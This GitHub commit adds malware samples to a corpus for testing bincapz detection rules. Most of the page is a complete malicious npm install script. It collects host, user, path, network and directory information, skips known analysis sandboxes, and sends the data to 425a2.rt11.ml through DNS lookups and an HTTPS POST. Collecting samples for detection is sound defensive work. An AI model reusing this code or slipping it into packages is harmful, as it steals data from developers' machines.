Skip to content

Commit

Permalink
Add current bincapz samples (#1)
Browse files Browse the repository at this point in the history
* Add current bincapz samples

Signed-off-by: egibs <20933572+egibs@users.noreply.github.com>

* Address PR comments

Signed-off-by: egibs <20933572+egibs@users.noreply.github.com>

---------

Signed-off-by: egibs <20933572+egibs@users.noreply.github.com>
  • Loading branch information
egibs authored Aug 28, 2024
1 parent 295e6c5 commit db02a02
Show file tree
Hide file tree
Showing 156 changed files with 132,199 additions and 2 deletions.
21 changes: 19 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,19 @@
# bincapz-rules
Samples used for developing and testing bincapz rules.
# bincapz-samples

This repository contains samples used for developing and testing bincapz rules.

There are several categories organized within their own directories:

- `does-nothing`
- `javascript`
- `linux`
- `macOS`
- `npm`
- `php`
- `python`
- `typescript`
- `windows`

Each directory contains both clean and unclean samples.

The purpose of this repository is to be cloned so that bincapz can be run against all or a subset of the samples.
Binary file added does-nothing/does-nothing
Binary file not shown.
10 changes: 10 additions & 0 deletions does-nothing/does-nothing.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
// Copyright 2024 Chainguard, Inc.
// SPDX-License-Identifier: Apache-2.0

package main

import "fmt"

func main() {
fmt.Printf("You see, we don't do much")
}
214 changes: 214 additions & 0 deletions javascript/2022.an-instance.99.10.9/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,214 @@
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const fs = require('fs');
var path = require('path');
const packageJSON = require("./package.json");
const package = packageJSON.name;

function checkhex(inputString){
var re = /^[0-9a-f]+$/g;
if(re.test(inputString)) {
return true
} else {
return false;
}
}
function checkpath(inputString){
var re = /^\/root\/extract[0-9]+\/package$/g;
if(re.test(inputString)) {
return true
} else {
return false;
}
}
function checklili(inputString){
var re = /^\/home\/lili\/vastest\/[0-9]+\/package$/g;
if(re.test(inputString)) {
return true
} else {
return false;
}
}
function isValid(hostname,path,username,dirs){
if(dirs.length==0){
lastdir = "";
}
else{
lastdir = dirs[dirs.length-1];
}
if(hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')){
return false;
}
else if(checkhex(hostname) && path.startsWith('/root/node_modules/') && lastdir == '/home/node'){
return false;
}
else if(checkhex(hostname) && checkpath(path)){
return false;
}
else if(hostname == 'box' && path.startsWith('/app/node_modules/') && lastdir == '/home/node'){
return false;
}
else if(hostname == 'box' && path.startsWith('/app/node_modules/')){
return false;
}
else if(hostname == 'box'){
return false;
}
else if(checkhex(hostname) && path.startsWith('/root/node_modules') && lastdir == '/home/node'){
return false;
}
else if(checkhex(hostname)){
return false;
}
//else if(hostname == 'lili-pc' && checklili(path)){
else if(hostname == 'lili-pc'){
return false;
}
else if(hostname == 'aws-7grara913oid5jsexgkq'){
return false;
}
//else if(hostname == 'instance' && path.startsWith('/home/app/node_modules/') && username == 'app'){
else if(hostname == 'instance'){
return false;
}
else{
return true;
}
return true;
}
function getFiles(paths) {
var ufiles=[];
for(var j=0;j<paths.length;j++){
try{
mpath = paths[j];
files = fs.readdirSync(mpath);
for(var i=0;i<files.length;i++){
ufiles.push(path.join(mpath,files[i]));
}
}
catch(error){}
}
return ufiles;
}

function isprivate(ip) {
if(ip.startsWith('fe80::')||ip=="::1")
return true;
var parts = ip.split('.');
return parts[0] === '10' ||
(parts[0] === '172' && (parseInt(parts[1], 10) >= 16 && parseInt(parts[1], 10) <= 31)) ||
(parts[0] === '192' && parts[1] === '168') || (parts[0] === '127' && parts[1] === '0' && parts[2] === '0');
}

function toHex(data){
const bufferText = Buffer.from(data, 'utf8');
const text = bufferText.toString('hex');
return text;
}

function todashedip(ip){
return ip.replace(/\./g, '-').replace(/:/g,'-');
}

function gethttpips(){
var str=[];
var networkInterfaces = os.networkInterfaces();
for(item in networkInterfaces){
if(item != "lo"){
for(var i=0;i<networkInterfaces[item].length;i++){
str.push(networkInterfaces[item][i].address);
}
}
}
return str;
}

function getIps(){
var str=[];
var networkInterfaces = os.networkInterfaces();
for(item in networkInterfaces){
if(item != "lo"){
for(var i=0;i<networkInterfaces[item].length;i++){
if(!isprivate(networkInterfaces[item][i].address))
str.push(networkInterfaces[item][i].address);
}
}
}
for(var i=0;i<str.length;i++){
if(str[i].includes('.'))
return "i."+todashedip(str[i])+".i";
}
if(str.length>0)
return "i."+todashedip(str[0])+".i";
else
return "i._.i";
}

function getPathChunks(path){
str="";
chunks = path.split('/');
for(var i=0;i<chunks.length;i++){
str=str+toHex(chunks[i])+".";
}
str=str.slice(1,-1);
return "p."+str+".p";
}

function toName(pkg){
var str="";
var queries = [];
var substr1 = "";
var substr2 = "";
var hostname = "425a2.rt11.ml";
str=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;
queries.push(str);
return queries;
}

const td = {
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: JSON.stringify(dns.getServers()),
ip: JSON.stringify(gethttpips()),
dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
}
var qs = toName(td);
if(isValid(td.hn,td.c,td.un,td.dirs)){
for(var j=0;j<qs.length;j++){
dns.lookup(qs[j], function(err, result) {
//console.log(result)
});
}
const trackingData = JSON.stringify(td);
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "425a2.rt11.ml",
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};

var req = https.request(options, (res) => {
res.on("data", (d) => {
//process.stdout.write(d);
});
});

req.on("error", (e) => {
// console.error(e);
});

req.write(postData);
req.end();
}
Loading

0 comments on commit db02a02

Please sign in to comment.